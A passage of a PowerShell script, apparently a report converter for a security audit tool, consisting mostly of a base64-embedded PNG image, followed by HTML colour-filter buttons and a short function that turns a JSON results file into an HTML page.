dtJ88ipKE2HzXQ+EkytW8mUvJyLOm3hBE7M4DgUh1+ZjXaSBUqXwWyszMZPhJkChlylZyghACybCYaVpXgfLCW7hdbcZ83k/FjCdHn+taFavjAqFCxHhztwLXDxpzNrcx+uZnezVYWjs5ixV4XN+wf4MY35nHTgQWsPbCQmyYXsvDJXtoXNJDfnoGpNJGEvGii08OJMIUSaggiJDmAUGMA4SnBRKWHEpcXjqEmhkyrkcLZ6dQtLGLGHe0sfHEuK0Y9LN/jYvHu2YLYGXVc+PN7BQSakL8gVEAHRjvof83GjEeaqHDlEmEKQe616ZP4SNAEqEioiKL1vjJcHzcz49tiLKdTaD15bQ3ut5ww0HQ8mZYThosGVAmfm7wJytfQhuSUAcspE5Y3s8gbMqAPFQpTUpmMyJRQGm8oxbVdWN/X0nNscK+TnpdbyZ+RilavQaGVk96RxKwXmxna3fHDm4BR4eR19ost5M8yowsWktalEglNTU1HJycny0Vd8/P485//3Jufn/8PiUSKPkpHxbxcel5qw7XDRt8264XOMyNnW4UddD1ZR0prPHK1jMDAQJYsXfLCiW9OqK+laxPf4H/BCn1zc/NRvZ9eEDZqBfH5kdStLKL7pRbh2Ohatzr8PeCtrAsIQRyunTb6XrXhvLuBTIsR/xhfpAopcrmC4KAQ7Hb7h5s2ber6+uuvf3fHou+//37Shg0bbs/Jyfk/Op0vUqkUfYwfeT1pTH+qcaoFSTjZuMzi6+x8gLf1aHCig8GJDjyjTvq2WoU2ricasN5VRf3yAgpmppBYGklQgh+aIBUKrRy5t5XrgjYuidBeJdfKUOrlqIPlqEMUaCIV6BIV+KepCMpTE1KmJbxOR0SzL+H1voSUaQnIUxOQoSLAqCUwwY/AeD8C4nzxj9XiG6NGG6NEE6VAE6lEHaFAFaZAGSxH4SdDprxwbuRsNV2mlKHyU6IP15GYF0tdXxkz7rYw+5l2ul9so3e71XuK4Tj3Mzz68+Zezq+6D4524t7loHdLO92vtNDzShuDO7pYsdfFqtcHWT7Sj+vPHTSuLCW1KZFQQwCaADUqrRo/Xz90Wh0yqQypVIpKqcLPz4/wsHAMBgP5+fn/KCkp+XtWdvZ/JyYkEhwcjK+vLxqNBrVajUIhhN5JfCRefJArZOgCtQTH+ROVGoq5LJn67ioG7uhm1csLuH54HouGuxkaFqr4ngkn/WPCoPdZG91fV1Q4N4PSv8uG44EaMtsN6MN8z9nw+vig9dOQXJRAyy0VzNxXje2LLFpPeDd+p6/OiU/LSQNNJ78n4E+aaD1lpu2k6Vy//2mjUKW/ypuPtjNG2r8x0XognaKVJkKSA5H4CCF4YUnB1Cwoovfls5a3197v/YX7pjNv8wzKZ+Wj02vxkfmQ3BBN18Y6Bvc4BQE/fJFWrzEHnY/VkdaSOBXEFBgYyKJFizaJ7TI/j2effbanuKj4P2VSGVKFFFNFAs67G3Bts9O33UbfNss/Vd494w76R+zY76smuToaqVyCKcXEU39+ct61ep3im/0vzJtvvpnjGfDsjIuNQ6kQfmHogjWkNSXRvr6Cua+245m4sj3ffxTB7hmzMzBuZ2BS6PGe8edGqpbkkudIJ6UoicAwPTKF0Kfup/OjsKDwv2655Za73n///aQ/6vqanJwsH/AM7DSZzeiD9fjFaElqiKTmhjym/6mBvh0WoW1mzPEbneyc7YkWhJhn0iHMGowL7Vx926zMfbWd7uda6Hq8gbbbK6lelk/h3DTS2pOIL40kIiOYMGMgIQn+BMb4ExCtJyBKj3+kHn24H/owX/RhvviF+qIL1qINUqMLVuMbosM/zI+ACH+CovwJjQ0gPDGYyORwIo3hRJlDiU4NISYjjJi8cOJLIsloM9K0tJK5TzjwbO7As8vB4HgHg7s7hHV2mQanzxfvQq+7nb4d7czd2s6c19qY+7KFuc/Z6XqwifLBHOIKw/ENUyNXywRhJZGiVqsJDQ3FZDRRX19/cunSpc++9NJLMz755JPIyznEv3379tZ777139cDAwLaamprTZrOZqMgoAvwDUClVyKQyVGoV+lBfkvLiaBmoY/DhOSx+qZcF22ezcHwWi/bO9LqUWHH9GqemcRv9uwXXrt7NFtpvqyStNZnAaD1KtZC8LFSMpah8Zfgb1CTPDqXwsXhqdifScsRE+2kz7d8KbVJXsqWrxfu1hYq76YKB59bTBppPJV/lfniD0Od+KhX7WzmUrEolJClgSriHJoRQ6Slg7otWwSHtGngmuYYt9I9YmTfZxaLds7hu1xz67p9GsTWP4OggVBqVd+bKh7iycByPVTO4+2xitg3PqN17Qia0irXcUkpUVtjUujGbTTz44IOiu8zPYM+ePSUWi+UTpVKJVCYltdjErNsszN81XfiZv8jvTM+YUHWf/WILpYNZBMb7IpVJyCnO/J8/vXzt23KKb7zIFIcOHUpbsWLFU5kZmf+jVWuRSiWERAVSaMnCuqaW7ictLNgxkyX7ZjO0p1N4iJ31H78aLSm/oUjvH/NabO52MjjhwLXDxsxnm7DdX0XTuhJKBjNIqorGP8YPpZ8CmVyGQq4gOiqayorK71atWvXogQMHMv/V19jk5GT5yhUrn6qpqf5LQko8EdnB5PQacTxejWuXVXA7GncIvvZXeT2dP6A94BX85xAevmc3bQMTF7ZxTbVznU3AHXcw4M1dGJzoYGiyQ/BH9zJv8tzng7s7hH7ZSWHwzXUFB/Pco/apNpueza10PlFLw81FFMxJI6k8Bv8YXxQ6IfdAKhEq6jHRMdTW1J6+fuX1T+3atav+Wkt7/PTTTyM3/mljv7vfPVJRXvm3hLhEtBqtYHurURMaE0ZJSxGz1zoZfHE6Q+PTGNrbiWdCOL1wjVp/eu2Nnut7dp/NaRi34Z4ULC/7d9nofrGVtlvLyZ1mIi4/HP9oPxQaufe0RzjlUQUpiSoMJXsoibKHjdQPp9D2QRptJ1K9MxxGWs9cHnHfcrZN5qRB6Hu/6j3uBtq/NWP9Jp2WiSzyl5gIMQUhkciQyqVEmsOoHiqk+/m2c3NcV0uwj1joHW7DPWbnuv1zuOngAtaNL2Ppw/No6qonMjYCmVQYwo+IiKCyspKC/AJ8tX6EpQTQdle513L33DUMTAgta623lgniXSaI9+rq6r+MjIzUiJrk0nnwwQdXpKam4uPjQ1hMKO3zGliytZfFr8+6qMuacGrrYO4WK83rykgsjUKmkuIfoqd7aOb+Nz/cn/d7uXZxAYj8cPTwwYOZ69atu6exofF4RFgESqUKpVKBRqcmOjGC3IZMKnryqV6YT+PqYqY90MTCV2ezenwe1+1w0feynZ7XWukbseCesF+5dopf2YYx5Wv+versnM1tOB+tpXFtEeXzssmwJBNmCkblp0KqlCKRSlEqVWjVOtJS0+lwdr7ndrt33nnHnesOHz5sFtfQJboq7X8j77Y7b1s/d8HsvfVzK77LmWkiz22k9sY8HI/UMHdLG4O7HQztcXodHeyXZYj2X7fNy87gbmGddzxWR2aXkaBkPUpfBT7eKqBCrkCj1pCYmIjT6XzvwQcfXPHxx1cnzOSybiJ3T5bfdvtt651O53tJiUmolRrkKhlBcQFkNaVSP68c2y11uDZ2sGKinxUH+pi3t0uo2o9afyJF045r3IZrTGjdcY94w9bObvbG7fTvsjPr+SYa15SQ05VCTE4YuiD11OyGxEeCTC5D5asgMNmXmJYgzEvCKXgilpo3kmj92oTljIm2b69ea86vdZVp/9ZE28epVD+TSmpXHP5RvkgkEpRqJUm5sdQvKWXOC+1Tg9a/vWC30jdiwTVqZdHrM1n79gLW71vJjc8vp3/lXEqriwkJDUEqkyGVyvD396egoOC/Vq1a9ei7775rAHzeefcdQ0NtI3KNDENbDNOfa2Bgt5P+UW9+xoidpnVlRGeHI5EJblFtbW1HDh48mCk+Ey6NkydPKpcsWfJCYIDgxmfONzL37i6um+hlaLcT16jln0/MJxz077BhubOS1OZ4NAEKVFoVVS2V3z239c+9v8f7IC4GkZ/FsWPH9Nu3b2u966471y1cuGiTpc1yxGg0EeAfgEatnbIzVKs1RESEY043Y841Yy5JIteWStVgAU1ryrA/WM3sl5px7bLiHhOGkgYnnN7KplB1GRh3eF1KvI4lowJnh1Q9o+cSST1nK55TA5Bnq6h25u3pYvHemSzePZv5IzPp39zBrKdbaL+9kuqlBRTNTSfDlkxSZQzhqcH4hmqRq2X4SCXI5Qq0Wi16Pz16Pz0Gk4E5np7Jx//86OIDb7+ZI66JK1RN/eTTyKeeenpgbu/cMXOaGW2QFt9YDZFFwaTaEihbkCW44+x0Mm+P4KziGb3G+mOvAbEunBY46d1uwfF4DVUrc8nsSia2KAx9tBapQoJKqSIwIJCy0rK/L1++fOMrr7zi/Oqrr/5lXC+++vKrwJc3vdy1cuXKp+pq609HhkehVqmRyWTog/Sk5BupmVXCjNstLNw+h+v2zWZotxP394a2p6ry3jXoOlvV94awnd++5BmzC4UNr6DrfrGZllvLyJuWSkxKJL7+OhTqs4PZ52YjZBop/mYN0e3+pC0Pp/TFeBreTab16/ME8rcmQeBfDYvVk+cGvttOe92gThipfTOJ3HsjiZ8egL9Zg0whXJdGr8ZUk0DbrRX0brbimfiNW2W8p6wDkw6ue2M2695ayJrRRbjvm0mbq47MolQCgwOQSKRIpVJ0Oh1ZWVn/vXDhwk2vvvqq89ixY/qLranBwcFtOp0wgBuTH4H9oVrmvd7JwLiT1vVlxOQJ4l0hVzBt2rRD7733XpL4e//S2+p6enomtRotEqmErKo0Bp6cxdJ9cwS74u9X3UeEAuLM51sonJuGPlKHTCEjqyTtf+9++vb13/z7tTWoKop4kat+lL1z586mRx99dPH69etvX7hwIbW1tURGRqHV6pDL5RekP8oUUpS+crRBKnzDNQTE+RKZGkpiQSxJxXEklESSUB5Jcm00xuY4Uq3xZE5LIrfHSH6vmbweEzmzTeTMMpEz00RWl5HUtgQSKiKJzAomKF6Pxl+JTCn1VhnPBjdJUavU6P30BAUGEREeQX5+/j96enom169ff/uLL744Q6yKXFucPnVauWf3npL77rvvhvb29iMRYREoFEq0wSois4JItSZSe30hs19oY3D8XNX+nE3oH6967x614R63TbX99I9YmfFcEw03FZE9zUhMfhj6SC1SlSCaVAoVej89ZWXlf7v11lvv2rdvX6G4ti7O118f02/ZssWycOHCTVlZWf+t9/NHJpPjG6gjITOako4ceu52sHLEzdJ9cxic7BDaC0e/Z0PoXXeuH6nmu0eENdo/IZwKukcc9L5mY9oTjbTcWk7V4lxyO1OITA1DF6hFpVEilZwbppVIJSj8ZPgmKAku0BDb6U/23RHU7Euk+Suh173tpJCf0HbGW8U/bTyXp/BjnPdvp+xNT3vdlU6ZBTebo0bq3kqi+MUYUleHEuP0J7hQiyZCiVQhnXLyUajlhBuDKOxJx/lQLa4dVjyTV37u6uxQ8jmXMge9m61YN9RQ5MzGlG0gNDwUhVKBVCpFo9YQFhZGbW3t6Ztvvvn+Xbt21f+QYL/YkH9zczMKhUIQ8TkROB+qxflQLYmlUUhlEuRSOS0tLV+Mjo6KbTOXyGeffRY2ffr0A0qlErlSTqm1gPnP97Bo7w+3zAxMOpj1Qgt5s1JR+yvRBKjoGLJ+svfjiT+Mw4+4OESuilfr6OhozVNPPTVw66233tXX1zdWX19/Misz639iYmIIDQ0lJCSEsLAwwsLCCA0NJTg4mKCgYAIDgwgICMBf74/eT4+frx96Pz2+vn7odL7o9XqCgoIICgoiIiKCjIwMampqTk/rmnZo8aLFm+644451r7zyivPQoUNpv0cXGJF/Zt++1wuvX3n9U3m5ef8nODBYGHDUSdFFq4nIDcZsi6d4fiq1NxVguaeKGU830veqFfcOJ55hb3roqOAgdPY4/azF6dmK9j/ZnX5PoF1Wq9LRCx13zmUr2KY2I+5RO7NfaaF+TSEprfGEpgWgC1Mj18i86Y0SNGoNwUHB1NXWnb7zzjvXvfHGG+LJ0WXg9ddfz1u7du09xcXF/xkUGIRcrkTnryXaHE5pZz79D01n6Wgv8yenXej0dfZ9/Lk2u2fF57jQDjA40UH/dgfuFzvovsNBQXM2IVFBaHRqpDLpPzkb+fj4INPJUEco8E1S4Z+qJjBLQ0ixjsh6PbHWAOKnBZDYHUhSbxDJ/cEkzQ0ixu5PeLUvwQVaAjI1+Keq8TOo8E1Q4hunRBejQBOmEGYmzn8tuQylToFaryQyM5SCnnSaby6h67F6+rZ6E63HHZd/Q33WPWjMQf+wnb4dVua8aqHzwUZKe3OIL4gkKMEfbZAGmUKGSqHC39+f6KhoGuobTm5Yv+H2iYmJ8l/rAnPw4MHMurq6qYKVXClHrVMJuRY+EsrLyv/24osvzhB/li6N48eP6+bNm7fZ19cXiVRKuaWYZa8McN3rc+j/gVRxj3cj3HJLGWEpQSjVCqyzW784+MXvp9ddFPEiIiLiEO3KlU+Vl5X/LSE+kaiIKEKCQvDV+CKTyITqpUaByk+FSq9C5a9AE6zCN1KDPlaHf5KOQJMvwam+hGXoicwNIro4lLiKMJLro0i1xJM700xxfxbl83OpX1mE7fYaZj7WSvdGC3M32nD/qYuhP81i8E+zGPjTTPqfmUbf0x3MedrGrMfb6HigAevdNVjvqcZ2TyVtd5RTv6aIiiXZFLnTyes2k+5MxtAQS2xRGCEpenRRKuS6s9VNoWoYFBRERkbG/wwNDW3esmWL5VKrhiKXzxRgzZo1D+Xn5//DX++PVCZDE6AhqTiOxuVl9DxvoX/XuXmgs/azrtFfL1wHJh3M393F/JHpLNgyi3nPddN7XydtC+rIb8sgISeakLgA9GE6fIO0aP01qHUqlGolCqUcuUIuJDt/D4VCgUqlQq1Vo/PV4uuvwy/IF32IL36hOkLiA0kuiKdoWibNq0pxPljLzD810fNqG327rFOhbe5fawM5ep65wJidgXEnQxOdDI504tnRyYLts1iyycXMm+xk1qbgH+WLQitDJpOiVWsJCgzGaDAyffr0A4899tiCgwcPZv7SMLxLZWhoaLNer79gc6PRaPB4PDvF4tGlc+99962OjolBIpWQV53F4j+5WLpvzkUr72edZlzbrbRtKCO2KAKJVEJ6Vtr/vvDasz1/1HskLhQREZF/SU6dOqX8+OOPYyYnJ8tffOHF2Q89+NCKtTevvX/+vPmbp3VNO9TS3HK0rrbudFlp2d8zMjL/x2Q0ER8fT0REBKGhYYSFhRMeFkFYSDghQSEE+Ad4/dF90Wl0aNU6NGotapUalVKNWqlGo9Kg0+oI0AcQEhRKcGAIwYHBRIVHEhsdS1xsHIkJiRiTTWSkZfxvXm7e/ynIK/hHYV7hP2pra0/39vWO3Xfvfat3795dIoqBa5tXXnnV2T27Z29KSir6QH90wWpiSsIomZdB84YSLPdW0PlUPXO3Wi5MyP1VJzrneeKPCT33g7udguvRZCeDk0IKrnuHA9c2G31bBdzbO1kyModVkwPctHseN03OZ83kPFaM97NodBZDI10MjnYyNOWi1MHgpJOBCaG3/2cNmo+e28icbyzgHnfgGrHRu9XCnJctdD/XzvTHm3De18C0O1rpWN5CcWseEYnh+AZo0eo0KOQK5DIFvlpfoiKjKCku+c/ly5dv3LN7T8nVfv937dpV397efsRkMjFz5sz9YuvapTM6OlpTWlL6d4lMSnxxFNMebhZOtsbtFxXv7nE7rp1WGtcUE54ahI/Eh6iYSNbdsfaey9LKefqM7OOPP445cOBA5uuvv5735ptv5hw+fNj84Qcfxn/04Ufx+1/fn7dt6zbLrl276t9///2kK71JFEW8iIiIyG/spCDeB5FDB9/K3LB+w+12q+0Tk8GETuuLVC5DG6IisTKSkoF0mtYW0/FoLT2vtNI/bMc97pzK6zh/xuNy2/q6Rqy4hr/Hpdqbjn4vZXv8rDmBEL7m2dbJ3BdtzPxzM11P1GO9t5KmW0qoWJxDmjWRiPRgdCEaFBoZcqUMuVyOXCZDqVDiq/MjNiaWgryCf7S3tx8ZGhra/PDDDy/dv39/3pkzZ2TiuvoDDZl/9VXg7Nmz96oUKvxjddTfUET/rrPzPhezARY+Wu+pJL44EonUh/DIMG7csOrRX9oqd8/d99zkdDjfMyQlo9f7oVIrkWpkKALkaKPU+CdoCUjWEWjwJdjkR3CKniCzH4HJvuii1cj0MiRyb4K2Qo6/3p/a2trTDz/y8NLPP/88RBTxIiIiIiIifxThcvSrwGeffbZn4YKFr9RV1/0lLjoencYXhUKOXCnHP9yXxKJocjrMlLkyqV6UT+utFXQ8WseMPzcx5+VW+ndYzw1vjjtwn+fsNeXu5RXVnvM3A+PnON/RS8g9cHq/jmOqj90z6pgKB+vf5cC1zUrPpjamP92I/f4qmm4poXJpLoWuNNLbk4jNDMc/WI9KrUapVKJWqfHT6QkPCSfFlEZ9bePpflf/yJob1zx0zz33rH766acHtmzZYjlw4ECmuPH91+LJJ5+cFxsbh4/Uh5SmRGY808jgpNdS+GLzD+NOpj/TSEpTAjKlFF8/He6FfWNfHL80obxv377C61de/1RpSenfAwMDkcmlyDRSApN9SW1PoPaGIqY/04Rrm5X+HbYpXDusuLyfu3fa8Oy007/DTv9OO64d3s+32ZjzUiu2e6uomJ+DoTYGbahKSOANCqSzs+vw9u3bW0URLyIiIiIi8gfkiy++CBkdGa15/PHHFyxfvnxjY0PT8eTEZMJCw/DT6b3hQj7I5XJkMqH6J9fIUAeo8I3QEpjgT1hKENE5YSSVxpBSl0RGm5H86SkU92WQPyeNnBlmsjtNZNiTSW1NxNyYgLE2nqTyGGILo4jOCiPMHERggj/+UX4ERgUQGhtMZHw4kdERREdHk5aaTnFRCeVlZVSUVVBTVcv0rhmHbrh+1RMPPvDAipdffrlr3759hV9++WWg+L6KXKz6PmPGzANKhYqAGD/qlhfSv9P2w9V3b9tZ441FBMXrkUgl1LZU/2X/25fWrvTMM8/0m01mfCQ++EWpyexIxnJnFXNetuDeKWQ5uHYKQt21w4Zrp43+YSv9w1Zcu2y4dtnoHz6PEe/H8/7ctcuGa7sV13Yr/cM2IbxvwsGsjS2Uu3MJMwTh4+ODv78/Q0NDmz/99NNIUcSLiIiIiIj8C4n8Dz74IP6zzz8Le/vw2+YdO3Y0bdy4sf/ee+9dvXbt2nuWL1++cWhoaHP37O69Vov1k5rqGgrzC0kxp5KUmEyKMYWcrFxKS8pobmo52j27e++ihYs2rV61+tHbb799/SMPP7J04zMb+19++eWusdGxmnffedfwzTffqMV7L3K5eOyxxxaEh0WgUqsonZ7D3BfaBfH+A21innEHc15rI29WKgqtHK2vlmU3LnnhUl7r/vvvvyEiPBwfmQ8p9Ql0PdRwroK+3UrfVosgunf9cLr1uRTv806xxn6e49TApJPB8S5mP2mlqCsbTYAKf30AixYu2vRLNrriQhIREREREREREfnNWLp06bNajY44UzRz7u1k0d6ZXteZiwvggUkH3S+1kGFLRqLwIdmYxIuvPT/7UlzKKisrv5NIJMTkhOG8pxbPsONclX3kh0W7Z1Soys9+oYW228op7EklqSKayMxQYvLCSG1JoHx+FtZ7Kpj9fDOuHdYpO+CfzC4Ys7FgXxfzt0+nxlOMWq8kJDiEDRs23C6KeBERERERERERkWuOeUPzNmtUWuJzoul+TAjn+8Eh7VEbA7s7mLGxCWNdvFBJTzOzefurzh97jaNHj+p7enom1So1flFaapbl07/DxuAPtOmcDYjyjDno22KhbX05htpY1AEKFCo5oVGh5FVm/XfPopn7b773xoeW37xso8XZdiQjM/1/IyMiUas0qHRyYvLCqFqcx8xnm4X2mp8YPndP2Bkc78B+Zz3x+VFIpEKWwPj4eJUo4kVERERERERERK4JVq5c+ZSv1o/ojDCmP9RE/w4bfdst5/rLvyfgB/c46Xi8nvjSSCQSH6qrK797+9230n7UZWb//rzamrrTap2KbLuB7udb8fzARkEQ7nb6tlqw3VtFamsCan8FOl8d9e3Vf9m45Yl5Z/6vS2sj27J9i2X6jOkHQoJC8ZH4EJMbTsu6cvq2WXH/SMCZa8TG0L4Ohka6aFhcim+ohqDAYNatXXePKOJFRERERERERESuKiPDI/UpxlS0wRqqlxTQ+1o7fVut9G2z4hq+mIDvYMafmjDWxSKR+VBdXf2Xd957x/Bjr/HRRx/FtLW2f6HWq8ibmcqcl9rp32Wnb+eFr+EZs+EeseF4sAZTUxxKvQI/P39qG2pPP/PCUwO/9lpf3fyqs7am9rRGrSEuJ5L2W6pwbRfSZH+wOj9mY2h3JzMea8FQHodUJqW0uPQ/t27dahFFvIiIiIiIiIiIyG/Ol198GWK32j6Ry2QkVkUyY2MT/Tvs9G0VXF/+aYh10kHvNgvFfRnItTLSM9LZNbKz6cde4/33309qaW45qg1UU9iTztyX2unfacO1y3qhPeWYgxl/biLdnoTCV056Zvr/PvGnxxdcievetXNXU2lx6X9KJVKi08NpX1eF+6z3/cVOBkaElp7+rQ6qluQRnhbE9FnTD3z88ScxoogXERERERERERH5Tbn99tvXBweGEBCno3ldqSDet1gFH/bhf25xGdrbgePBGiLSg1DIZcybN7jtp17D3e8eUWnUGOtjmfFME54RxznrxxEhR8EzZqft9gpCUwMJCPRn+fXLNv4W1//QQw8tNRqN+PhIiMmOoOWWCvp3Cmmz309ddm230LvNwsBYJ613lRFfEonb49759dHjelHEi4iIiIiIiIiI/CYcOnQorbysAomPjyCw/+Tthd9qvahDjGfSQe9WCyXuTOS+crIysxgfH/vRQc8DBw5kVlfV4BuppXpJLu7tgnf72Sq8e1Twnnc+UkNUXjD+wf6sv/PWu37re/Hyyy93FecX/0OpVpLSHM+MZxrw/FOolZXe7RbBQWebldLFGUSlhrNwwcJXTp44qRZFvIiIiIiIiIiIyBXnueee60mMTUYbrKJyYQ5zXmnDtdUqiPiLDLQO7u1g5rNNJFdF4yP1weFwcPTYUf1Pvc6iBQtficwIoXFtIQMjTq+NpCDiPROCZWTpvAzUQUqaLY289+mP99dfSZYsWrIpICCA+NIoOh+rZ+B7Qt41bKVvmwXPsINZzzdjssQQnRzJ2rVr7xFFvIiIiIiIiIiIyBXnzjvvXBcSGEKwwR/rPdVCwNL5ferfF/H7nEx7uoHY4nDkchl9fX1jp789Lfux1zhx4hv1zOmzDviGaSlbkIl7u53+YftUv71n3I5n3EHDmkIC430pKilkYu9E+dW8L88/+0JPTlbuf8cVRmK5uxLPmONce82wjf6dVnq3WnDvcjBtYwMJLRHklGTx6suvdokiXkRERERERERE5Ioy6BnaqfXVkNwYxbSnG3Dvsl/cUnKqEu9k2sZG4kojkMnk9PX2jZ05c0b2U6/zwgsvzk5JSyWmJBTnwzV4Rh3C6wyfa6fp3tRKiiUBrV7LwsULN13tezM2Ml5TWFD0X8Emf+pvKqJ/2H5Bn7xrWJgZGJrspO2OCgKMvtTW1nHo4KFMUcSLiIiIiIiIiIhcEU6ePKmc3jX9kF+oloI5KfS82Ip7148HIA3u7WDmc80k18biI/XBbrVz9OhPt9MAPmtW3/RoRGIY2bOS6dnUimfYLgy3elNYByaczHy2EWNTLCqdms5pnYc/PvJh/NW8R/v3vlHY1Nh03FAVg/XBCjwT9u/1yNuYt6+T7hdaSayLIio+kvXrhWRXcZGJiIiIiIiIiIhcdo4dO6a3tlgJjPGjZmU+vZutuHbYpoT1xRjY7WTOa23kTDchU0mpKK3gnXcuvX99wfyFrwRE+JM5LYnuF1pxj9jPudSM2vCMO+jdaqVySQ4hRj1x5mhanI3Mnjtr/7JlyzaOjozV/Nb3aeNTfxpIzUzFbIll+rP1DEw4cJ9nQTkw6cAz4qRiYTbBCQH09fZx9OhRcYGJiIiIiIiIiIhcfk6fPqWc3jHjcGC0nsol2cx9tR3X9ot7w0+500w48Iw5aLixCF2kmqTEJJ577rmen/O6q29Y/URIeDAxpaE4HqxlYLyDgfNTU4e9G4mddjxjTrpfbSVjdiL6cD8G+gdGzpz+6fady8nbb72d1tzQQkCsH2WLs+jbaWVgwnHOdnPMxvx902i7q5yQ9ADsDjsfffiRuMBERERERERERESuDA/e+9Dq1AIzJfMz6HmlDdcO65RrzEUZFVpqZjzThKEiFh8fHxwO53vHTxzX/ZzXfeONN3LsVvsn/qF+xNeE03ZHOa4dVgZ3Oxmc7GBgzIln2EHPpjbKFmbhF6ulpLD0vyYndv/mA69HPjsS1uWchp+/H7kzUpnzmgXP5HmbjjEbC16fhu2+KkJS9dTW1XLo4CFxcYmIiIiIiIiIiFwhgXrkSFhDQwMR2cG031VG/zYrfdsu7hE/VY0ft+MetdNwQzF+4RpCg0O59957V/+S1z9+/LjurjvvWldWXv630LgQAg1+hGcFEmzWowlToQ/0pTC/6B9333X3TZcyQHslmJiYKC8tLEXlq6Bgbhp9W6wMTjrPq8TbWfj6TBx3NhCSGEBtVR2HDr4lLi4REREREREREZErx6rVNzzh7+9PXFkE055soH+HDdd224+61HgmHbi2WSn35KDWK4mOjOGpJ5+ad7k2Fp9++mnkyZMnldfC/Vm54vqnAvXB+MfoaFhVhHvYjue8dpqBCQcDww4qFmQTFONPz+yevV9+8WWIuLhERERERERERESuGGf+ekbm9rh3+of4keFMYvbzLbh2WOnbbv1RIe+esNO3zUrFQB66QA0B/gFs2CA4s/xRWLZs2cbggGB8I7RUL8mnf7v9wn74URvzXu/C+WgNITl6CosLGR0erQfRnUZEREREREREROQK88En7ydV1JT/TeEnI7fbTM/Lbbi22+jbZvlxIT9uZ2i8g/Y11QTFBKBSqVmwYMErv/f7sXfv3sKa6pq/SCUywlICaVlXhnv0wgp8/7BgL9n7WjtmWxzRyZFs2HDb1CZGXFgiIiIiIiIiIiJXnPE9ozUZWWn/qw1WUrU4h74tFlzbhGTSH3OscY/Z8Iw5sN9VS2x2JD4+PmRlZv3P1i1bLb+7zcyHH8QPDQ5uCwoMRqqQktaazIynGxmccH7PH97K4J4OBnd2UebKRhuoor2t/ciHH57ztRcXlYiIiIiIiIiIyG/CpldfmpGYkIQmREn1slz6tlpwbbXSu8WCa8ePtNeMClV513YblrXVJBXEIlfIMRtSWLt27T2ffPJJ5LV6zRMTE+WLFy3elGIyI5PJ0QSoyWgz0vlgg+CS873qu9sb8NT7qpXczhSkSh/S0zLYsWNH0/lfV1xQIiIiIiIiIiIivxlvHtyfV1JS+neFTk7eHDO9m9txDzvo3Wxh7mYLfTtsP9li4xl10P10K3XziknMiyEg2J8UYyp9c/omNz6zsf/wO4fNV+v6du7a2XTddUteyM/P/4dWo8PHxwffMC3pbclYbq+ib6uNgQknnrF/Fu+De5x4Juy0bCgjIisYH4kPpaWlfx8bG6v6/uuIi0lEREREREREROQ357Y7NtweGx+PX5yW0sF0el5soX+nnd7NFnq3tv+4n7x36NMzbmdg3MHczRbab6skw2EkxByAPkJHVFwUVRVV3924as2jW7dutxw5ciTscn7/X3z5RciukV31t99xx3qLxfpJfFwCCrkSH4kPfhFaksqjqRjMpuORevq2W/GMO77XMmPDNSxc4+BeJ/0jdppuKSGmKAwfmQ/RkdE/OsgrLiIREREREREREZGrwrGvj+nnzpk76avxRR2koHQok76tVjzjzh8V8BfvnbfjmbDjHrHh2mplzstt2O6vIneOmYjcQLQhKkJDQ2msazy56obVTzz80MNLn9n4TP+LL70449XXXnVu3rzZtnnzZtsrr77i3PTKpq4XXnph9lNPPzWwYcP62xcsXPBKV1fXoaKiYqKjY9BpdUgkUuQ6GUEGPcnVMZR4srDeU8XsF1tw7RT6+D3jdkG4n5cW69ppw7XDimfMwbzdnfQ830qxK4OAeD98fHwICwlnxYqVT5345oT6x+6duIBERERERERERESuKqdPn5atXbvunvi4OPwiNBS50pj9QivuEQf9O+y4tgmWlK6dVvp3XZqod+0U/OhdO2y4tlvp22Jl1nPNNK0tImemkeT6aCJzgwlI0KEJVaIKUKDyV6D0kyPXSVH6y/GN1BCaGkBcUTiGujiyOo1ULMrBek8ls19ooW+HDfeoV6x7Q6rco7YL2mT6d9no2+ENudpmxT1sp/dVC42rSogviEKmluHj40Nmeub/Pv7Y4wsu9Z6JC0dEREREREREROSa4dHHHlucak5HKpOhj9WRYkmgYU0h3c81CyFROwVh3rfNimu7V9T/SA99/7C3Au4V065d53rQPWN2gVE7nhE77hHHOUa9fz5mxzPuwDPhECr9Y4JY7x/93uvs8m4atlq9zjvC99m/w07/Nhsz/9xMzYp8EiqjUPjJ8fHxIS42jvnz57/y9ttv/+wefnGxiIiIiIiIiIiIXJOMjo3WrF5946MVFZXfhYSGoAvTEJEXRP6cFBz3V9O72Ypn2IF7lx3XtvOFvfVnt+P8HFzD51fXbbh32XHvstO31cqcTa10PllH/Y0F5M40EVcSgSZUjUQqQSFTkpme+b/r1q6959NPP/1VjjriAhEREREREREREfld8NmRz8KeePzJBQ6b48PIiEjUgUpC0vVkOBJpuLGIricbmPNKG/07bbiHBWHt8rbjuLZbBRvLndapvvT+nVZcu4RqvmuXzfvf59pg+nfahL8ftuMecTIw7mRw3Il7p4M5L7fhfLiG6qW5pFoSCMsOQhOmRCqTIvGREuQfRFpKGp2dnYfvv//+G954442cy3kvxAUhIiIiIiIiIiLyu+Tjjz+Jefyxxxd0dU07ZEw2oVapUfjKCU8JIrUpieL+bFrWlzPjqUbmeFNiPSMOBkYdDIw5GRgVGPQyMOrEM+ygf5uN7hfacD5SR8utpZQtzCLFHk9kQRABiTpUwQo0AWpiY2MpyC3A0mY5cv2KlU9teumlGW8deivt+PHjuit97eICEBERERERERER+cPw/vvvJ/1p45/6Fy9ctGl65/TDbS3t5Obn4hfsi1QrReEnQxUgRx2sQBOqRBMmoAqRowlXEBSnJz4lhuyCLGrr6nDaOj509fWPrb157f3PP/t8zxv738j76suvAq/2dYpvtoiIiIiIiIiIyL8UZ86ckX315VeBH3zwQfzBgwcz33vvvaQTJ37c0vFaQ3wjRURERERERERERH5n/P8HAG9GkCBZTCjUAAAAAElFTkSuQmCC\" class = peass_image><br>\r\n        <div class = \"div_redyellow\">\r\n            <button type=\"button\" class=\"btn_redyellow\"> Only RedYellow </button>\r\n            <button type=\"button\" class=\"btn_red_redyellow\"> Only Red + RedYellow </button><br>\r\n            <button type=\"button\" class=\"btn_restore\"> All Colors </button>\r\n            <button type=\"button\" class=\"btn_show_all\"> Show All </button>\r\n            <button type=\"button\" class=\"btn_hide_all\"> Hide All </button>\r\n        </div>\r\n\"@\r\n\r\nfunction main {\r\n    $json_data = Get-Content $JSON_PATH -Raw | ConvertFrom-Json\r\n    $html = $HTML_HEADER\r\n    $html += $HTML_INIT_BODY\r\n    $html += parse_json $json_data\r\n    $html += $HTML_END\r\n\r\n    $html | Out-File $HTML_PATH\r\n}\r\n\r\ntry {\r\n    $JSON_PATH = $(Read-Host \"JSON Path\")\r\n    $HTML_PATH = $(Read-Host 